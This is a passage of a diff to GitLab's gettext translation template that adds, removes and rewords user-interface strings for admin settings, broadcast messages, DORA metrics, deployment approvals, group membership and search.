+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
